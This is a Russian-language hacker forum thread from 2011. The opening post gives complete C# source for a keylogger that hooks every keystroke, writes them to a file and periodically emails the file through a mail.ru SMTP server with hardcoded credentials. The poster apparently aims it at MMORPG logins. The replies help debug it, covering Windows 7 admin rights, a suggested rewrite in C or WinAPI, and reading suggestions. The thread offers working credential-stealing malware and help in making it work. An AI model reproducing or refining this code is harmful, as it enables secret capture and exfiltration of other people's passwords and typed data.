[C#] столкновение 2 кейлоггеров

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Некто_Я, 27 Aug 2011.

  1. Некто_Я

    Некто_Я New Member

    Joined:
    13 Feb 2011
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Доброго времени суток!
    Имеется кейлоггер,который работает крайне нестабильно, причем, если в одной проге - кейлоггер, а в другой прога, которая отправляет сам текстовик на почту все работает норм, а когда склеиваю вместе не пашет...(вот код *P.S не обработала еще очень много исключений, доделаю*)
    Code:
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;
    using System.IO;
    using System.Net;
    using System.Web;
    using System.Net.Mail;
    using System.Net.Mime;
    using System.Runtime.InteropServices;
    using System.Diagnostics;
    using Microsoft.Win32;
    using Utilities;
    
    namespace WindowsFormsApplication1
    {
        public partial class Form1 : Form
        {
            string b = Application.StartupPath + @"\" + "qwerty.txt";
            public Form1()
            {
                InitializeComponent();
    
            }
            [DllImport("user32.dll")]
            private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
            [DllImport("user32.dll")]
            private static extern IntPtr GetForegroundWindow();
            globalKeyboardHook gkh = new globalKeyboardHook();
            private void HookAll()
            {
                foreach (object key in Enum.GetValues(typeof(Keys)))
                {
                    gkh.HookedKeys.Add((Keys)key);
                }
            }
    
            private void Form1_Load(object sender, EventArgs e)
            {
                MessageBox.Show(b);
                if (File.Exists(b))
                {
                    File.Delete(b);
                    FileStream hat = new FileStream(b, FileMode.CreateNew, FileAccess.ReadWrite);
                }
                else
                {
                    FileStream hat = new FileStream(b, FileMode.CreateNew, FileAccess.ReadWrite);
                }
    
    
                try
                {
                    gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
                    HookAll();
                }
                catch (Exception)
                { }
            }
            void gkh_KeyDown(object sender, KeyEventArgs e)
            {
                try
                {
                    StreamWriter SW = new StreamWriter(b, true);
                    SW.Write(e.KeyCode + " ");
                    SW.Close();
                }
                catch (Exception)
                { }
            }
    
            private void timer1_Tick(object sender, EventArgs e)
            {
    
                {
                    int onoff = 1;
                    timer1.Enabled = true;
                    if (onoff == 1)
                    {
                        if (File.Exists(b))
                        {
    
                            SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 25);
                            Smtp.Credentials = new NetworkCredential("aidiotnikov", "blbjnybrjd1");
    
                            MailMessage Message = new MailMessage();
                            Message.From = new MailAddress("[email protected]");
                            Message.To.Add(new MailAddress("[email protected]"));
                            Message.Subject = "Привет";
                            Message.Body = "Это Яша,лови текстовик";
    
                            //Прикрепляем файл
                            Attachment attach = new Attachment(b, MediaTypeNames.Application.Octet);
    
                            Message.Attachments.Add(attach);
    
                            Smtp.Send(Message);//отправка
                            onoff = 0;
                        }
                    }
                    else
                    {
                        MessageBox.Show("Mail hasn't been sent");
                    }
    
                }
            }
        }
    }
    
    Версия проекта 2.0 (чтобы на хр пахало)
    При тесте кейлоггера появилась очень странная ошибка...На хр все проходит на ура, а вот на 7 начинается магия... Есть игра(mmorpg) и когда в нее входишь(логинишься) антивы(не все) орут,что типа кейлоггер и разрешаете ли вы...и т.д и т.п. (мы все разрешаем) открываем прогу, и тут бац - и прога ничего не записывает, и игра вылетает и больше не заходит(приходится переустанавливать)
    Сначала думала,то защита какая-нибудь, но потом вариант отпал, т.к на хр то все работает!
    Подскажите,пожалуйста,чем могут быть вызваны все эти ошибки, заранее спасибо.
     
    #1 Некто_Я, 27 Aug 2011
    Last edited: 27 Aug 2011
  2. C00LPack

    C00LPack Elder - Старейшина

    Joined:
    7 Oct 2010
    Messages:
    425
    Likes Received:
    72
    Reputations:
    19
    ппц извращенец, кейлоггер на дотнэте :D
     
  3. ShyRka_coder

    ShyRka_coder Member

    Joined:
    27 Jul 2010
    Messages:
    127
    Likes Received:
    7
    Reputations:
    5
    ну почему .. может человек любит острие ощущения !!
     
  4. Некто_Я

    Некто_Я New Member

    Joined:
    13 Feb 2011
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    А на чем его еще писать то...дельфи или вин апи...Я просто си шарп более-менее норм знаю ток, есть какие-нибудь предложения?
     
  5. 0xF0RD

    0xF0RD Member

    Joined:
    2 Dec 2009
    Messages:
    49
    Likes Received:
    6
    Reputations:
    0
    ИМХО, кейлогеру необходим малый размер, следовательно, его нужно писать либо на Асме, либо С (С++)
     
  6. Некто_Я

    Некто_Я New Member

    Joined:
    13 Feb 2011
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Эм...ну С,С++ и С шарп языки родственные, размер у кейлогера маленький...К тому же, тема называется не "на каком языке кейлоггер писать"...Жду ответов по теме...Хотя бы какие-нибудь предположения причины ошибки возникают?
     
  7. 0xF0RD

    0xF0RD Member

    Joined:
    2 Dec 2009
    Messages:
    49
    Likes Received:
    6
    Reputations:
    0
    Могу предположить, что кейлогер запускается не с админскими правами = "запуск от имени Администратора" , (в семерке новая фишка такая), т.е. прога ограничена в правах)
     
  8. Некто_Я

    Некто_Я New Member

    Joined:
    13 Feb 2011
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Блин...забыла про долбаную UAC...спс,еще раз попробовала - хоть как-то...ток такая еще проблема и на хр, и на 7,что не записывает несколько первых букв(или цифр, то что первым вводится...)чем это может быть вызвано?
     
    #8 Некто_Я, 27 Aug 2011
    Last edited: 27 Aug 2011
  9. .::f-duck::.

    .::f-duck::. Member

    Joined:
    30 May 2009
    Messages:
    343
    Likes Received:
    32
    Reputations:
    7
    :confused: :confused: :confused: где и что я проебал?!
     
  10. Некто_Я

    Некто_Я New Member

    Joined:
    13 Feb 2011
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    возможно,что я ошибаюсь конечно...но в какой-то статье было написано именно так!чем вам так си шарп не нравится то?
     
  11. sl1k

    sl1k Member

    Joined:
    31 Jul 2009
    Messages:
    106
    Likes Received:
    26
    Reputations:
    5
    пиши на Си и не извращайся , куча же статей и примеров
    да и кстати для того что бы поставить хук на клаву админ права не нужны
     
  12. Некто_Я

    Некто_Я New Member

    Joined:
    13 Feb 2011
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Нужны для того,чтобы отправить...а иначе он с игрой контактирует и игра...таво...я не знаю ни С,ни С++...омг
     
  13. sl1k

    sl1k Member

    Joined:
    31 Jul 2009
    Messages:
    106
    Likes Received:
    26
    Reputations:
    5
    ... знаеш C# и не знпеш С ... ОМГ :confused:

    ... отправть в смысле логи ?
     
  14. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    на framwork'е подобные штуки не пишутся, но если только для извращения=)
    ps only use WinApi
     
  15. Некто_Я

    Некто_Я New Member

    Joined:
    13 Feb 2011
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    хм,спс за совет, и все же я пожалуй доделаю эту...какие есть хорошие учебники по вин апи?я один скачала...но там не написано,где и как компилить...
     
  16. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    msdn тебе лучший учебник,компилить в любом компилируемом ЯП
     
  17. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Щупак - эффективное использование Win32 api
    Рихтер - Windows via C\C++

    P.S.:требуется знание С или С++
     
  18. Некто_Я

    Некто_Я New Member

    Joined:
    13 Feb 2011
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    спс...по заголовку ясно...за что все так не любят си шарп?
     
  19. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Его не не любят, его не рекомендуют использовать не по назначению.
     
  20. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Зачем велик изобретаешь? Достаточно такого добра в сети. Не проще взять готовый?